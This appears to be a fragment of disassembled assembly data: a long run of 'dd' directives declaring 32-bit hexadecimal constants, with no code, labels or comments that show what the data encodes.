		dd 5DAD8BD1h, 0ACDC2AC7h, 0F7DF7BB4h, 0D60469A8h, 0E5F00AD6h
		dd 0EDAE607Dh, 64C0D779h, 8BF1CF85h, 46EC563Bh,	23973CFAh
		dd 0CDEA51EEh, 0A1E7EB2Dh, 0EDB08B55h, 689253ECh, 0CFADCD05h
		dd 87EB9EE7h, 0D7EC5EDCh, 0C3C641E6h, 25F707ADh, 0ADF9C545h
		dd 49AA2375h, 0D6BEE784h, 0E05D60C7h, 0D7B1B394h, 0E8C78CE5h
		dd 65F7E4EDh, 0B1CB8420h, 30ABE73Ah, 89ADCD05h,	85756B93h
		dd 0E7DFB4D9h, 0E9066477h, 0A5EEE987h, 0AD762361h, 0D8CAE22Eh
		dd 6A2DF306h, 86592291h, 0E7D931C3h, 0B9E8C832h, 0A7F7816Dh
		dd 0BBF4C63Ch, 45A9F705h, 0E1B1DF44h, 577DE5E7h, 0E7F739AEh
		dd 0A63A6561h, 25D7DF6Dh, 0ADB8B341h, 45A7F71Ah, 587CD445h
		dd 8579A1F7h, 0D7316DE5h, 0D884756Eh, 63E0F83Ch, 7EE78655h
		dd 61A5F71Fh, 0FB03AFB5h, 0CEF453C7h, 0A168EDB1h, 0F4444DE4h
		dd 740D63EDh, 0ADBE03E0h, 4D65C71Fh, 0ED3CC244h, 6978FEF7h
		dd 0D2FCADB8h, 0E7C4E497h, 0A3C7EE2Dh, 0ADB63D27h, 7DE1906Fh
		dd 387B9971h, 0C769A5F7h, 0D71A2DEDh, 0E004616Bh, 0A0D7976Dh
		dd 0EDE3047Dh, 5D6D112Ch, 0F2DD606h, 7D342CF7h,	0B242AD7Dh
		dd 0E9845166h, 6D7100EDh, 0ADD3C57Dh, 496DD7B5h, 1C2DE406h
		dd 0C4B4FAE7h, 0D7DAEDD2h, 0ACD6F392h, 68F72BADh, 0EDF40471h
		dd 4926817Ch, 0F640FA04h, 0C7902AC7h, 905AADE1h, 0BADF556Bh
		dd 2451AD71h, 3157B35Dh, 69A6D7E4h, 28EDD9C7h, 0C5BCADC7h
		dd 0C01E31EEh, 0EE0759E2h, 0E8D7686Dh, 2DD3C730h, 0A4A2E732h
		dd 86ADB1A0h, 0B41CF4E7h, 600BADB8h, 95577475h,	0B5A389ADh
		dd 0EDF00473h, 41AEA876h, 7B151C2h, 0F379E1E7h,	0C7E9F4A6h
		dd 0FA84BBC8h, 66F7DF31h, 7782A979h, 7127E74Ah,	6E2D8DC8h
		dd 0C72832F7h, 0C7F36DEBh, 0AC493C08h, 23E7446Dh, 70B1D35Dh
		dd 43DC7F9h, 0F86DE3C7h, 94083DC7h, 0F7052DA6h,	0F3C5616Ah
		dd 0B52003ADh, 6DEC84CCh, 79E3E746h, 0F26D73B3h, 0FF083DC7h
		dd 0E7442DA2h, 0A3D35DA3h, 6B9387EDh, 0EDDE8579h, 0A13ED757h
		dd 2400ED85h, 477DEDD7h, 812500E6h, 0E04607F9h,	0B2C7E5BEh
		dd 509C84A4h, 1FF98A09h, 0C07C9442h, 0F0973DB0h, 0E7CBADB2h
		dd 0AD82ACF2h, 4FF7862Dh, 2DDFC708h, 4D2D7039h,	6340E707h
		dd 0B490C748h, 0D765719Ah, 0DB0545EDh, 6EE70578h, 705BF36Dh
		dd 0E897D725h, 1579D9C6h, 0C54563C7h, 0E7746DE8h, 924CECD9h
		dd 0B4C7BAADh, 6DA2F5F0h, 6475AC0Bh, 19ADC385h,	46616BE0h
		dd 43BFFFD6h, 0D9C769A3h, 7D90F1ADh, 0EDE1C4FCh, 0C097900Ah
		dd 46AD8D9Ch, 4649E0A2h, 0AE36F6F2h, 810361ABh,	0E5C774B3h
		dd 0B3D6C66Dh, 55EDD23Ch, 70EDF546h, 0C7882FC1h, 0C7FF2DDCh
		dd 0DE065DA6h, 83E7D947h, 2D4D1C9Ch, 40C9D780h,	1A7EAFEAh
		dd 0D351AED7h, 0F7D4ED70h, 953044FEh, 0F8316B2Dh, 0AD3A5F48h
		dd 6969B2F8h, 0B1B9C2C6h, 0F6DC36C7h, 0A1BB2D94h, 0EC04712Ah
		dd 6BE2D7EDh, 7CEC4651h, 0D432E733h, 7A34C706h,	0C575A3C7h
		dd 0C71A6DE5h, 2D3F5DAEh, 4883896Dh, 0F6B2C104h, 860EC7C9h
		dd 557CD407h, 9FB83DC7h, 30EEED71h, 8920148Ah, 0B2C7F12Dh
		dd 0CAB4A9D4h, 712AA184h, 0CA048374h, 4F37BD7h,	0D0602DCBh
		dd 0CE075925h, 2EC787F2h
		dd 7071F351h, 55A47EF2h, 444BE804h, 0C78B02D7h,	0B4952DE2h
		dd 0D0C73C96h, 88839140h, 0DAB874A8h, 38CF72C2h, 0FFE7F38h
		dd 0C7792D7Ah, 817C40C7h, 0F1044D6Ah, 54D24E8Ch, 2D8D5FC4h
		dd 0C7C0C740h, 0C604C33Fh, 0B450FEF7h, 0A1A68298h, 69B07169h
		dd 6D3066ADh, 40F3C761h, 9C9732E2h, 540F307h, 335D26D7h
		dd 91F1EDA3h, 91CE6968h, 6DF72874h, 40F9875Dh, 756C649Ah
		dd 0E2C26EFAh, 99E37501h, 1CA36D21h, 4DF994C2h,	56D7232Dh
		dd 0BC8A9D93h, 50B5E7F8h, 0DFBB8461h, 7B69E3C7h, 0C7E62D27h
		dd 0CB793E14h, 6B2A28FAh, 3FE64745h, 51EAA171h,	0F1A4ED38h
		dd 0C77770A5h, 2F4BCFBh, 0ED60B64Dh, 70A5F1A4h,	0C4C57Bh
		dd 0E175B97Dh, 636DF9A1h, 0E0D5B1A9h, 0E7DFA4F1h, 0EFE36D29h
		dd 0BC81A164h, 6D95E1A3h, 9031A3E4h, 54BD8C7h, 335D26C7h
		dd 0E714B089h, 0E746656Bh, 0AE9D6744h, 0ED530241h, 7DACA1A5h
		dd 319440F9h, 339831F7h, 0C73B2D8Dh, 4AFB5D23h,	54C7D3B0h
		dd 2DCD8468h, 71E2E7E3h, 58ED96A1h, 54043F7h, 0C7F8EDD2h
		dd 0B60D6D65h, 6531B3ADh, 7EC3C561h, 0DCF1C7BAh, 7FEDD004h
		dd 45882FC2h, 0E78676EEh, 0DE855DA5h, 0EBE7A063h, 3343507Dh
		dd 7522C7E7h, 0D9EDE6C5h, 0C5516BD7h, 0E7C1F4E4h, 0D60550B5h
		dd 3EF72CEDh, 0EDDEC530h, 49226129h, 0C6B7E7C6h, 802C80C7h
		dd 0A3A280ADh, 92B1F8C6h, 0EF89E8F4h, 7CC8C771h, 6DA1C071h
		dd 0BE2D91CAh, 86443FF7h, 43937FCDh, 0E785D475h, 0CED72EB7h
		dd 0EDBD215Ch, 0E0C1C770h, 9702CA84h, 8F41A162h, 90B8F0B7h
		dd 40E14560h, 2F836831h, 71B9E10Ch, 76F44D98h, 0F3C4FF47h
		dd 6E0C0C81h, 0F7D323D8h, 0E80687B0h, 0FDC7446Dh, 0AD911DBBh
		dd 59ADF726h, 27ADDB06h, 4141A0D7h, 0E76C2D4Dh,	0A260E4F5h
		dd 79C7322Dh, 2DC9C7E2h, 50B4E7E5h, 0AB788A9Fh,	0B250B781h
		dd 31C440B9h, 0D6C7D351h, 30C7DA77h, 6DBE2FC8h,	821A372h
		dd 2170E546h, 0B2556D9Dh, 0A1A72D9Dh, 0BC3451E4h, 377136F0h
		dd 0FCE14754h, 5925D705h, 7B049C10h, 0EB64DA21h, 2F84ED67h
		dd 69EB49EDh, 6B619C77h, 0BBCCC469h, 0A5153A14h, 0A36D85C1h
		dd 45516E28h, 0A1A4ADDFh, 0F204416Bh, 0E023376Dh, 6DE6C584h
		dd 0DC36705Bh, 5F0F9C4h, 655A3F7h, 9CE27CCBh, 0E1C57DA9h
		dd 65C7276Dh, 0F49D3CB0h, 71A2F7B0h, 0BADA5A1h,	4455EE51h
		dd 0D7E1C7DDh, 0DE85F4DAh, 35D76D77h, 0EDB1A02Ch, 0C4DA5377h
		dd 0E2B4F985h, 0C4503FF7h, 639C2DD1h, 0E8C741A3h, 3DB36CEDh
		dd 3B86A044h, 7DA4E7DFh, 8F2D9341h, 0D060DD51h,	0C7BBAD93h
		dd 5323EACBh, 1BF7E0ADh, 0ADC446C6h, 4129CE2Ah,	0A3ADE246h
		dd 0D40027F2h, 0F71D2D8Dh, 81A05D6Ah, 64E77637h, 6DAC6C75h
		dd 7B8D71F3h, 0E0EDA43Eh, 6E51A28Dh, 0F7DAEDB0h, 0A24D79ECh
		dd 6DF797B3h, 0EDF1C445h, 4965E787h, 7EDA9F7h, 0C484A5E0h
		dd 0E007EDFDh, 85F74924h, 0A5E007EDh, 6DEEC669h, 485CF064h
		dd 0E777DEC5h, 0AA0826D7h, 41DCF194h, 0A38B41A5h, 0AAD7DF76h
		dd 0FCD90445h, 7960316Bh, 7A6DAC30h, 46BC6BE7h,	81A0ADCEh
		dd 8DF5BCA9h, 29E7922Dh, 71473620h, 0D806E734h,	2FEDEDC4h
		dd 847D69E7h, 0E0DDADF4h, 0EDC569A4h, 0E071FC2Dh, 2DF94645h
		dd 5C3FF738h, 986D6E96h, 19CEB53h, 0E05E1183h, 5968DC2Ah
		dd 0EBE7AFADh, 0AD922D94h, 906BC7E3h, 366DAC31h, 475A5E7h
		dd 0D707EDFFh, 0AEEE49A0h, 67D7526Dh, 0EDDE864Dh, 796DF793h
		dd 33EDC584h, 0C57122F7h, 0E7386DECh, 0E0464924h, 0E8F725EDh
		dd 0EDB97155h, 79E07BAFh, 1AEDD684h, 2C5D66F7h,	0E746EDAAh
		dd 0A3635C98h, 25C707F1h, 0EDE1C74Dh, 416DE724h, 8471ACF0h
		dd 45568D7h, 0D20DEDC0h, 0C3C679E5h, 3FC7473Bh,	0EDED84F0h
		dd 61A5E76Bh, 21ADD085h, 0C4692DF7h, 0E72B2DDAh, 0F8047569h
		dd 2AA171EDh, 0ADE5C461h, 7D69D72Bh, 1DAD9B50h,	76ACEFD7h
		dd 0E72B2DA6h, 0ED04756Ah, 66D734ADh, 0AD992C5Dh, 616BD70Bh
		dd 31EDA3A0h, 0BCA0B3E7h, 0CC99ED49h, 0A3364121h, 29D72FF1h
		dd 2DEE4549h, 552DF7B1h, 25EDDDC5h, 2F883FF7h, 131A6D80h
		dd 0CC0649E5h, 0C8417AEDh, 0ADDBC768h, 41A2A1F3h, 1371D0C5h
		dd 0C6FC7021h, 50B7BFE3h, 0EC85716Bh, 0A991E000h, 829D2A75h
		dd 80A99216h, 78A991Ch,	588EFE7h, 0F7392DF4h, 0D184A4F6h
		dd 6CF725F0h, 0ADC5C728h, 0E4DAC7EDh, 4DEDFD84h, 8545E1F0h
		dd 0E7B5EDCEh, 0F4C749E7h, 0E98019ADh, 0B6F50451h, 45E0C7D1h
		dd 4EDEF46h, 0ED68CBC7h, 0E0F37793h, 0FB86596Bh, 6181AEBCh
		dd 70BA6DA0h, 6C36031Ah, 722DAF5Dh, 3C7D6693h, 0E768AD98h
		dd 987DA849h, 218D726Dh, 6DEEC575h, 2AF77Ah, 6D36C5C7h
		dd 0DC456F52h, 0D05C3947h, 0FB879CC7h, 0E0A0FCBCh, 2D88AC71h
		dd 5836C2D6h, 1373E184h, 77E8F101h, 0E774F3AFh,	0EF047124h
		dd 0B74170EDh, 79A2926Ch, 0ACADD7D5h, 72AD8B5Dh, 85C45893h
		dd 0D7AFEDE5h, 852AA806h, 6EE715EDh, 0ADDE4641h, 75EF33D1h
		dd 0E9F4F087h, 490C151h, 90E036FFh, 0AC7E552Ah,	0A5E7326Dh
		dd 0ADD2C751h, 65A511DEh, 0A381EA87h, 0A05D61F7h, 0D0C3739Eh
		dd 0BAB74920h, 20D042ADh, 73DE4545h, 0A44ED7EEh, 0BBFC405h
		dd 3F492660h, 600BADA5h, 0AD3F49A1h, 0E020C0ADh, 126BFB51h
		dd 940BF718h, 0DF38C5C4h, 85412EC7h, 212AD1FFh,	0F875ECCFh
		dd 0A6F4AEFCh, 6DEF4685h, 9DE1E778h, 7F2D5C5Fh,	3FD830C7h
		dd 0E7EFF4E4h, 8DB13CADh, 69F71FEDh, 0F8E9C49Ch, 75A9C705h
		dd 38EDDE45h, 47127E7h,	92602DD6h, 0CFC5596Bh, 1FF725ADh
		dd 2DDE8640h, 7DEDB172h, 0A4ADD1C6h, 0B8C4B4F7h, 0D7DE73A7h
		dd 6E3ED044h, 0EAE7A26Dh, 0F4E08765h, 55E8D71Ah, 0EBF4A419h
		dd 3F1CADE7h, 0D7DFED9Dh, 0FB4645ADh, 0A7604AB4h, 0ADDA4645h
		dd 0B8A32E41h, 0C47AF704h, 0C749E81Ch, 32272DEAh, 0F9066D6Bh
		dd 83E7E573h, 0EDB71BF4h, 0EC35E0B7h, 0F73066D7h, 0E1D405F7h
		dd 5C9A6D93h, 0A9F4807Ah, 25A1A5ADh, 2DA6D775h,	1856C731h
		dd 8B826234h, 845D6670h, 0C77AADEDh, 0E88479A4h, 0D8D77A6Dh
		dd 12F105B8h, 79EDD735h, 5F30D6C6h, 46592220h, 0FE7AADFAh
		dd 0A16E875Dh, 0A0C7E88Ch, 0AD96194Dh, 0F08EC7E1h, 0F7AD26D8h
		dd 0C4E412E7h, 0E724ADD9h, 0C546C041h, 42B3B36Dh, 6D96DAF8h
		dd 69E21A17h, 51ED169Ah, 846966F7h, 0F778ADEDh,	0FDC4A872h
		dd 2DC707EDh, 0ED60E265h, 4566BD31h, 3EADD1C5h,	0C571E1C7h
		dd 81778AC8h, 0F20661E2h, 0E151E4ADh, 0AD807475h, 0D47C232Ch
		dd 0E62DCDC6h, 0C74893D7h, 7C1E6DDEh, 0DF055408h, 7C93B8BCh
		dd 0EDC1C4E8h, 6D6F510Bh, 3B30B700h, 0A341EA61h, 91832D91h
		dd 0A8A3CCD7h, 6A00067Ch, 6DAE006Dh, 4169103Dh,	7EDB968h
		dd 4645EAD7h, 0A32E6DC3h, 0C1065874h, 0F88924F4h, 71AD0B34h
		dd 55A1C758h, 9CCC6D23h, 46516B51h, 117BFCEAh, 0D7C6D898h
		dd 0A250A674h, 0ADCC0575h, 0EBF3C758h, 33F0F2C5h, 0F2F88F61h
		dd 0C72A8A87h, 898E4D6Ah, 2D3042B4h, 31EC8451h,	0FB7FD727h
		dd 0DDEDD1C4h, 6C4167E0h, 0E7862DA5h, 0CDC761A6h, 53E7C52Dh
		dd 0ED81CD3Ch, 59604D67h, 0DD2D24EDh, 0C4F802D7h, 3286EDD9h
		dd 82CDC83Dh, 2A93796Dh, 0ADEDC459h, 0FCC0C733h, 0E0F42238h
		dd 6FBF7E7h, 833D2DCDh,	9B6FACADh, 4EF731D0h, 0ADB8F6BCh
		dd 41BD7DAh, 77B48A2Fh,	54076F7h, 0D739B0C2h, 0A61C5125h
		dd 0EDE04DEDh, 6D6CAB69h
		dd 0CC36E724h, 0BB2D9A4Bh, 0C669ED71h, 0D70584C7h, 0E4C575A9h
		dd 0E5E71B6Dh, 0F4DC8451h, 5929F779h, 96ADFE84h, 0C4C4F481h
		dd 0D7A237F9h, 0AE84F334h, 63C79F6Dh, 0F4CEC561h, 68B4F770h
		dd 4ED85CEh, 0C971E623h, 0E7054183h, 0B72E7D22h, 0ADE726EDh
		dd 80E8466Dh, 4961E7B4h, 0F72DE305h, 770B441h, 0D7118FE9h
		dd 0F3C6496Bh, 6BE7FFADh, 0BEEEC569h, 5521F786h, 2470D1C4h
		dd 0CE7D29A1h, 0F765ED98h, 91A34076h, 0EF5151EDh, 0FCB34159h
		dd 28DD011Fh, 0DE735714h, 22E496A1h, 0C7E3AD58h, 0F445540Eh
		dd 0AAD75074h, 0ADA00049h, 552B6100h, 27ADCF45h, 6C94E1C7h
		dd 0D7F3769Eh, 0EE4771EAh, 0FEC7966Dh, 3FECC5D4h, 14A6F736h
		dd 9B76C545h, 29D817D0h, 23AC7665h, 0F1E8DC9Dh,	0E42DF7EDh
		dd 3FA8354Dh, 0A899C7F5h, 0ED86ED45h, 0C8D89DF7h, 0E761B23Ah
		dd 600DE048h, 1AF7EAADh, 0C4D585FCh, 7D2AB214h,	89F7A52Fh
		dd 0C1C71533h, 91A82D4Ch, 0CD067072h, 35E76C2Dh, 2DD94600h
		dd 0D0791382h, 0A1ADFE84h, 0EF6161E0h, 0F7847185h, 0E6047169h
		dd 0CDB100EDh, 31C7C4E4h, 416CF795h, 1884C707h,	0E15D6AF7h
		dd 0E7DB7F57h, 0E545756Bh, 6B20A74Ch, 0FB99A961h, 69E2D754h
		dd 0E7F6E885h, 39D48EC7h, 60BEEDADh, 622E59A3h,	6BD7E7ADh
		dd 0F7F78561h, 69E0D7E7h, 81FFAF0Ah, 14125A1h, 134BADBEh
		dd 0AB2F6800h, 5E015B37h, 6DF2C710h, 416BAD7Dh,	2EEDE206h
		dd 0F379EDB1h, 63656DA9h, 0EE050868h, 20D7156Dh, 770FAC59h
		dd 68CE4127h, 3A2DCDC6h, 5206199h, 0E72BFCDCh, 96ECC434h
		dd 62D0A4ADh, 0F4CEC545h, 45A1C731h, 1A6DEE46h,	0F569E15Dh
		dd 0C733B799h, 0B622F811h, 256167ADh, 0EDD34645h, 1C5593ABh
		dd 0A2349DACh, 0C4B825E4h, 0C70C72F2h, 0D7C72827h, 66E7D2F1h
		dd 0E784CA5h, 0CDDBD778h, 9989FD84h, 47FB5A35h,	0C46426DBh
		dd 0F6848325h, 2DD423E1h, 2DCD8527h, 0A6ACD7F2h, 1EE1DD06h
		dd 0C4E599BEh, 1516EDE9h, 8C627498h, 1CF7C336h,	0EDA1016Ch
		dd 2CA5A12Fh, 34ED8E59h, 8A6DA5E7h, 1106D7Ch, 0C184749Bh
		dd 9A5152EDh, 0F39329CCh, 7D6BE716h, 9EFCDCC4h,	0C6A801B5h
		dd 0F7296DECh, 0AA2284D6h, 4823A6FCh, 0AD90E1FCh, 0D44160EEh
		dd 10349DB9h, 4441E463h, 7D8037EFh, 0A9EB8886h,	0B97172EDh
		dd 0D8F7EAACh, 41A7E77Fh, 10ADFC87h, 0CACDD903h, 8C6D583Eh
		dd 8F8B5DEBh, 0F651FAD8h, 0A024B38Ah, 49EFBAB7h, 8AAD6A63h
		dd 67DA560h, 0F785F7FDh, 0A663596Dh, 41A4BD2Dh,	0B9B8A2C8h
		dd 5D2F311Bh, 45388E55h, 0C7F844A2h, 55541E0h, 0DDC622F4h
		dd 0D9F7E42Dh, 0C3C3EAC1h, 51ABBC6Dh, 7BF0CA33h, 0EADC5601h
		dd 0C795B0BEh, 0A1B0552Ah, 0A58CF6A0h, 2DA48075h, 0C886E75Ch
		dd 3FA0C6B0h, 84AC22A4h, 823FF9CBh, 0EFF36CC6h,	0AEC7CB70h
		dd 6D497F79h, 1427D786h, 3DADDD46h, 86830F93h, 0F7596DEEh
		dd 918F5D6Eh, 22E78AB4h, 0B8B8CD6Dh, 51EAE7BCh,	752D8D29h
		dd 0C7481CF7h, 0C784B7EDh, 0A0AA59AAh, 21ADC5FEh, 0BCDF46BCh
		dd 6DE4E78Bh, 0E5EDCB06h, 0C64567D7h, 0D756EDDEh, 0CDC571E2h
		dd 63D70D2Dh, 2D4D3F4Dh, 6872C716h, 2B2DE3C5h, 0C7A809C7h
		dd 5D902DE8h, 0CD8661A9h, 2954D22Dh, 0F0C80469h, 6D6BD71Ah
		dd 372D9DE5h, 1E656FF2h, 0D727AD16h, 0DF871461h, 0E5D7DB84h
		dd 36CD065Dh, 2C2888FAh, 0BC7FF344h, 23492AE7h,	0D707F491h
		dd 0D6C57561h, 22A1833Eh, 41F24594h, 452D7266h,	70AD743Fh
		dd 8469E0E7h, 5C94B3C6h, 91217161h, 6DD7B1F4h, 0FFE9C451h
		dd 8866E26Eh, 0D9ADAED4h, 0C4E89B5Ch, 515736E1h, 8E9859A4h
		dd 0F3F7A42Dh, 0ADD0C6E2h, 8455012Fh, 3EEDC746h, 0AE0413E7h
		dd 3923EDA9h, 0BE797A3Bh, 25E73B74h, 0ADD6C741h, 805200F4h
		dd 8B2DE546h, 604F28Dh,	2FEADCBh, 8EE94D63h, 6DD7D8F1h
		dd 0B285C361h, 49E9F707h, 0E7ADE045h, 314D2ED7h, 30F4FE29h
		dd 0F4C55521h, 60131EADh, 0ADF0C749h, 492A0176h, 3AF73DA9h
		dd 46456900h, 0E764ADDAh, 0DCC63813h, 0F78379B7h, 32B5EA5Ch
		dd 22D0E7B3h, 0D9EDCEAAh, 215DA0C7h, 0F7DFF1ADh, 0A40B6DE1h
		dd 0E2D03DEDh, 6DE0C710h, 45E0AD27h, 12F4A1AEh,	5E834C7h
		dd 0D0EBBCF1h, 0C805456Bh, 0B4D70714h, 2DA479C0h, 79A782B6h
		dd 7EB9B81Ah, 6F0CA1C2h, 0C7DF2DB2h, 8F014127h,	0EAD725DCh
		dd 0B1A96275h, 5C0BC75Bh, 7CEDBD2Bh, 0E249AA20h, 0F787AD81h
		dd 0B0034125h, 0ADC797F1h, 6DC90704h, 792E7CC2h, 0E97782DAh
		dd 1F1C4FC7h, 0F77F7388h, 97297D65h, 22F7862Dh,	0B4CBC675h
		dd 69287295h, 8D236C79h, 869AC8C7h, 0F71403FCh,	0E28555E2h
		dd 2E6A9DEDh, 38EA949h,	0A9CAE7D7h, 5B2DF6C7h, 0F942B964h
		dd 20EBEDACh, 8989792Bh, 0D420052Dh, 34DDC780h,	7D6C837Eh
		dd 7EEDEBB9h, 82792DB3h, 61E5F667h, 9A72496Ah, 0E541692Dh
		dd 0AD8C6945h, 0BD96C7FDh, 0B5ADB661h, 6D696B28h, 6159909Ah
		dd 0BA6C71A9h, 3FE78E3Eh, 3A4058E7h, 0A8D2C7B1h, 6A8A8B81h
		dd 38FA3FE7h, 1CC5EDF0h, 0C1C6E44Dh, 6A3247EDh,	0ED51FB5Dh
		dd 179CE7BEh, 0E66DE846h, 2161E9E7h, 0E7E6F7B5h, 0DAC4C86Dh
		dd 3BF7E6F7h, 4A4AEF98h, 3B9EF7CBh, 85EDAE2Dh, 0C53BD97Dh
		dd 8FE56DEFh, 8ED830A2h, 7CD714EDh, 0ADBD4A9Ah,	0A83BEC67h
		dd 0A8FFBA80h, 0C679E553h, 0D263BCF8h, 0E0C67876h, 0BBF7DAADh
		dd 6D68FA00h, 65A9E7B4h, 9532AB21h, 9A792053h, 0A320B4B9h
		dd 0DE06616Bh, 6B2DEE2Dh, 0BCF2C561h, 0C8C1B3EFh, 0A92DFD45h
		dd 46C4C193h, 639F6DECh, 0F2054036h, 0A6E7867Ah, 2DB52369h
		dd 49E540FFh, 872DF345h, 4DD4C0D7h, 93ABFF87h, 9EE17EF0h
		dd 4BF7FA36h, 0ED662E64h, 9BF7C718h, 0B83FCCC4h, 0C3F132B5h
		dd 0AD076D47h, 0F4C74168h, 4FC7E044h, 2D8543AFh, 75AFF78Ch
		dd 8A738BEBh, 0C7F47F7Ch, 0B5C9C6E0h, 26234162h, 6E33A46Dh
		dd 0EDAA4B49h, 7968ABD7h, 0FE0CF444h, 0A24C95F7h, 0A59D6D1Ah
		dd 0F4F9425Fh, 5ED774C2h, 0ED5C9952h, 13971DA4h, 81F787DFh
		dd 6D7D20C7h, 3274E2DBh, 5A006DAEh, 90C7DDFFh, 0C6E0842Fh
		dd 0B85324FDh, 33BCD787h, 0C1552B4Fh, 653EA782h, 0FA2C45E4h
		dd 9CE73FADh, 2DC2C6A2h, 456A607Fh, 42624C7Ch, 1B71AF63h
		dd 0CC70ED1Eh, 0ED057B0Fh, 2769886Dh, 2D756D94h, 61E8F72Fh
		dd 0E42DDFC6h, 296566D7h, 0D7F1779Bh, 0CDC44DE2h, 2DF2B232h
		dd 30E28575h, 556BE755h, 5CC9D585h, 0B5C4F555h,	0D7D76D6Eh
		dd 0A4755567h, 0A5E79B2Dh, 2DD44549h, 55AFCCE2h, 0B4DC81C1h
		dd 2165EBE7h, 0A3C52DDFh, 0D1056436h, 71E27D74h, 2DB6E050h
		dd 0C9F0539Fh, 98B6B180h, 0B67CFDE7h, 0E797944Eh, 0D82070FDh
		dd 0B3BD84A4h, 0B4F68420h, 0D4B0A1CEh, 21B6964Dh, 0C64125AEh
		dd 846F2DE6h, 0DC4692F6h, 0F6846FE0h, 0E0DC0692h, 0B479F72Bh
		dd 0E2ADD1C5h, 0B25C12E7h, 0F7DBB39Eh, 0A930A69Dh, 7F6E89EDh
		dd 0B49E6FFCh, 16F6B4F5h, 7F7CDC84h, 8584F284h,	0B142A0D0h
		dd 0B530E782h, 7DD7B3EDh, 60EA4614h, 0A024942Eh, 2088CA73h
		dd 0CBA9B2F7h, 0A20581AFh, 0EA46903Dh, 6BA42E60h, 60C4C475h
		dd 6966926Fh, 22AD91ACh, 745A0C7h, 31BAC4F7h, 0E4C55522h
		dd 0FF714AEDh, 2DF5C5E8h, 8DBD4220h, 0ECB4DE46h, 9D692033h
		dd 0C7F8F463h, 81085564h, 0EC705F3h, 6DEE45F4h,	0BEBED7D9h
		dd 0AAE390C1h, 85804474h, 0A07BA3EDh, 2372DC1Dh, 6B90C6F4h
		dd 0B7091D41h, 7DA7F778h
		dd 0FA6DA6A4h, 0C5A4BDE7h, 0E04CADD1h, 0A39FB772h, 0FDD78558h
		dd 0AD6DA12Ch, 5928D7B8h, 0ED7BA8D3h, 0C591CCF7h, 0A34263FFh
		dd 0E6C7E87Fh, 0CEF7EC78h, 53D146B4h, 6CC4023h,	55BBE7Dh
		dd 8527C823h, 0D79C73D4h, 0FD05823Dh, 6772EDE3h, 0F3815D79h
		dd 0A107E72Fh, 683597E1h, 5030644h, 0F70593E1h,	0AEDC5923h
		dd 80D7DFBBh, 2D55A39Fh, 955774A8h, 7BFA535Ch, 3C9B5690h
		dd 44058B5Dh, 0BCA09406h, 20E72B2Dh, 0F3FC4575h, 4DA0C76Dh
		dd 0FECBFB07h, 0B94D6553h, 0A1C82D16h, 0FFC5E87Fh, 0E9C7252Dh
		dd 0EDB51855h, 49ABD7B8h, 7EADBE20h, 1061A0A0h,	0E170EDB8h
		dd 0FBC54003h, 0ED1CC04Ch, 0EDC1C66Dh, 949F5DB8h, 7E42C5C5h
		dd 306121A0h, 0B16CBF09h, 4A5249EAh, 0E4E79530h, 326EF44Dh
		dd 0AB3D00D4h, 0ABADC3C7h, 0E3B81BB1h, 0E7546DAEh, 0C4856D6Bh
		dd 0E9D75404h, 0ADE5C749h, 7803E7E7h, 1AADF5C5h, 665A4F7h
		dd 91C66DF5h, 0D50659E9h, 0EDD7E7ADh, 0B4F74565h, 6125E7A0h
		dd 7FCEE87h, 6C49E1F7h,	0F7ABED6Dh, 0F3046DE5h,	0E1E7D536h
		dd 0F4C3C669h, 0C4FC9CF5h, 0A5ADA37Dh, 22EB75B5h, 430E2D9Dh
		dd 912EE70Fh, 8BC7F12Dh, 73F306F4h, 408B817Dh, 0F1FCB603h
		dd 444CB4D7h, 0E787B4CCh, 8DE1F8B6h, 369320EDh,	6DE00784h
		dd 703DE7BAh, 316DE186h, 4655EDB1h, 0D261ADF1h,	0BCEA75A0h
		dd 2DF730BCh, 6DC5C771h, 0FC3FF79Ah, 24F788E1h,	876DA3A1h
		dd 0A9C7F4EEh, 0E9077563h, 0E5E735EDh, 0EDB26D6Dh, 0C8F54385h
		dd 827493ACh, 28484BF7h, 0B0CD5CBDh, 0C3C7E7FFh, 0E650B17Ch
		dd 0EDDE8649h, 0C07FD719h, 0D9ADD0C7h, 4F83FF7h, 0E7707CD5h
		dd 0C704696Bh, 6DA131ADh, 0EDD58455h, 5C7DE71Ah, 142D9A26h
		dd 4575A5E7h, 0AFCD6DF9h, 0EF444526h, 63AF5DBEh, 2DD8C675h
		dd 0C8FF9127h, 0AA3CD405h, 0C741E461h, 3123ADF8h, 0ED465520h
		dd 0FBF7DCF7h, 0ADCD84E6h, 49EDA3C9h, 0BC2D81E0h, 65520B1h
		dd 0E7BB77E8h, 0F2C7D03Dh, 0A8D7DF33h, 74AA4D7Dh, 46C4F7D9h
		dd 99EDE546h, 46D97AB5h, 5F25ADC2h, 0D686C471h,	24F75437h
		dd 0EDFA4484h, 0E8FEE7E5h, 31ADF684h, 0ADC1C4F7h, 0A367FC71h
		dd 0D8C76B87h, 0E5F7D3ADh, 6DE0C559h, 4870F795h, 466D85E0h
		dd 837164A9h, 0E7B2ED9Ch, 8E63516Fh, 0F393B36Dh, 0EDD006D8h
		dd 61EDF7D1h, 0B948C63h, 4F65A8E7h, 0E7DF72B7h,	0DB4671A4h
		dd 0E53E4E35h, 2DB74B65h, 0C82AC7DCh, 0FDFE93E0h, 2F40CEC7h
		dd 0C7E2AD8Dh, 0A3E1496Fh, 0B593302Dh, 7CF0C4F4h, 65AAD707h
		dd 8A6DE884h, 3165EFE7h, 0C7DF2D9Ah, 8B0F6DA0h,	0EBE0A677h
		dd 7F973A79h, 6969E7A4h, 48748680h, 895D60E7h, 61DE57B8h
		dd 9DE179EAh, 0E58DFDEDh, 0B4AAE071h, 652DE7D6h, 0D1B4AA43h
		dd 8979EDE7h, 0E7F92D71h, 93F76CFFh, 222381ADh,	2DE9C771h
		dd 0C14C910Fh, 0D52D0D60h, 63680ED7h, 1D356D9Fh, 0FD4445A0h
		dd 0CFF7272Dh, 7798E258h, 0E8B17376h, 0BD6D6EA8h, 85D7C5D7h
		dd 0D06E76FDh, 8DAA480Eh, 0D1D7C12Dh, 86E60447h, 6D633933h
		dd 0D748E48h, 8441E8B1h, 5582C9F6h, 0E544C755h,	0A013F12Dh
		dd 6DE24645h, 0EB50F77Ch, 7DED9A6Bh, 0E9796713h, 0E7AA6DAEh
		dd 0ABCDF348h, 6ED7D97Ch, 0AD76EE5Dh, 69A8D71Ah, 0A2DA163h
		dd 86D43153h, 201EEDECh, 0B577E8B1h, 0E421FA36h, 6DD54645h
		dd 716D530Ah, 80ADE505h, 867D2A93h, 0C7FFB9D0h,	0E6C4E0E3h
